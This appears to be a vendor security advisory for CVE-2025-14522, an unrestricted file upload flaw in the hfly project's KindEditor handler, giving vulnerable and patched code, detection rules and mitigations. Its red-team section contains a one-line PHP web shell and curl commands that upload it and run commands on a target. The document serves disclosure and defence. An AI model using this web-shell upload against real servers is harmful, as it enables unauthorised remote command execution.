CVE-2025-14522
Executive Summary
CVE-2025-14522 is a critical unrestricted file upload vulnerability in the baowzh hfly project, a rolling-release application. The flaw resides in the /Public/Kindeditor/php/upload_json.php file, where the imgFile parameter is not properly sanitized, allowing an attacker to upload arbitrary files (e.g., web shells) to the server. With a CVSS score of 6.3 (Medium), the vulnerability is remotely exploitable without authentication. A public proof-of-concept (PoC) exists, and the vendor has not responded to disclosure attempts, leaving the product unpatched. This report provides a full technical breakdown, detection rules, and exploitation guidance.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a custom PHP application (hfly) using the KindEditor library. The risk is primarily to self-hosted instances of hfly.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component is the only affected asset.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Attacker can upload files, but impact may be limited.
- Availability (A): Low (L) – Potential for denial of service via resource exhaustion.
Threat Level: Medium. The exploit is public, and the attack surface is broad due to the lack of authentication. However, the EPSS score of 0.0% suggests low active exploitation in the wild at this time.
Deep Dive & Mechanics
The vulnerability is a classic unrestricted file upload (CWE-434) in the KindEditor PHP upload handler. The file /Public/Kindeditor/php/upload_json.php processes the imgFile parameter (typically a file upload) without validating the file type, size, or content. The code likely uses move_uploaded_file() or similar functions to save the uploaded file to a web-accessible directory (e.g., /Public/uploads/). An attacker can upload a PHP web shell (e.g., .php, .phtml) and then access it via the web server to execute arbitrary commands.
The rolling-release nature of hfly means there is no fixed version number; the vulnerable commit is 638ff9abe9078bc977c132b37acbe1900b63491c. The vendor’s lack of response indicates no patch is available.
Vulnerable vs. Patched Code
Since no patch exists, we can only analyze the vulnerable code. The following is a representative snippet of the vulnerable upload logic:
// Vulnerable upload_json.php (simplified)
<?php
$imgFile = $_FILES['imgFile'];
$targetPath = 'uploads/' . $imgFile['name'];
move_uploaded_file($imgFile['tmp_name'], $targetPath);
echo json_encode(array('error' => 0, 'url' => $targetPath));
?>
Vulnerable: No file type validation, no directory traversal protection, no authentication.
Patched (hypothetical): The code should validate the file extension against a whitelist (e.g., jpg, png, gif), check MIME type, rename the file to a random name, and restrict the upload directory.
// Patched version (example)
<?php
$allowed = array('jpg', 'jpeg', 'png', 'gif');
$ext = strtolower(pathinfo($_FILES['imgFile']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed)) {
die(json_encode(array('error' => 1, 'message' => 'Invalid file type')));
}
$newName = uniqid() . '.' . $ext;
move_uploaded_file($_FILES['imgFile']['tmp_name'], 'uploads/' . $newName);
echo json_encode(array('error' => 0, 'url' => 'uploads/' . $newName));
?>
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A target running hfly with the vulnerable commit.
- A web shell (e.g.,
cmd.php).
Exploit Steps:
- Identify the upload endpoint:
http://target/Public/Kindeditor/php/upload_json.php - Craft a multipart POST request with a PHP web shell as the
imgFileparameter. - Access the uploaded shell at the returned URL.
Example using cURL:
# Create a simple PHP web shell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# Upload the shell
curl -X POST -F "imgFile=@shell.php" http://target/Public/Kindeditor/php/upload_json.php
# Response will contain the URL, e.g., {"error":0,"url":"uploads/shell.php"}
# Execute commands
curl http://target/Public/Kindeditor/php/uploads/shell.php?cmd=id
Expected Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Blue Team (Defense & Detection)
Detection:
- Monitor for POST requests to
/Public/Kindeditor/php/upload_json.phpwith unusual file extensions. - Look for files with
.php,.phtml,.aspextensions in the uploads directory. - Use the YARA and Sigma rules below.
Mitigation (if patching is not possible):
- Remove or disable the upload endpoint: delete
upload_json.phpor restrict access via.htaccess:<Files "upload_json.php"> Require all denied </Files> - Implement a Web Application Firewall (WAF) rule to block file uploads with non-image extensions.
Indicators of Compromise (IOCs)
- File Path:
/Public/Kindeditor/php/upload_json.php - Uploaded Shells: Files with
.php,.phtml,.php5extensions in/Public/Kindeditor/php/uploads/ - Network Traffic: POST requests to
/Public/Kindeditor/php/upload_json.phpwithContent-Type: multipart/form-dataand a filename ending in.php - Log Entries: Access logs showing
POST /Public/Kindeditor/php/upload_json.phpfollowed byGET /Public/Kindeditor/php/uploads/<shell>.php?cmd=
Detection Engineering
YARA Rule
rule CVE_2025_14522_Upload_Shell {
meta:
description = "Detects PHP web shells uploaded via CVE-2025-14522"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-14522"
strings:
$php_tag = "<?php"
$system_call = "system("
$shell_exec = "shell_exec("
$exec_call = "exec("
$passthru = "passthru("
condition:
$php_tag and any of ($system_call, $shell_exec, $exec_call, $passthru)
}
Sigma Rule
title: CVE-2025-14522 Unrestricted File Upload
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects exploitation attempts of CVE-2025-14522 via file upload to KindEditor
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/Public/Kindeditor/php/upload_json.php'
condition: selection
falsepositives:
- Legitimate image uploads (if any)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-14522 Unrestricted File Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/Public/Kindeditor/php/upload_json.php"; http_uri; content:".php"; within:50; pcre:"/filename=\".*\.php\"/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the upload endpoint: Remove or rename
upload_json.phpor restrict access via web server configuration. - Apply a WAF rule: Block file uploads with non-image extensions (e.g.,
.php,.phtml). - Monitor logs: Search for POST requests to the vulnerable endpoint and any subsequent access to uploaded files.
Long-Term Fix:
- Since the vendor is unresponsive, consider forking the repository and implementing proper file validation (whitelist extensions, rename files, check MIME types).
- Migrate to a maintained alternative if possible.
Patch Status: No official patch available. The rolling-release model means users must manually apply fixes.
Valters IT
Securing Digital Frontiers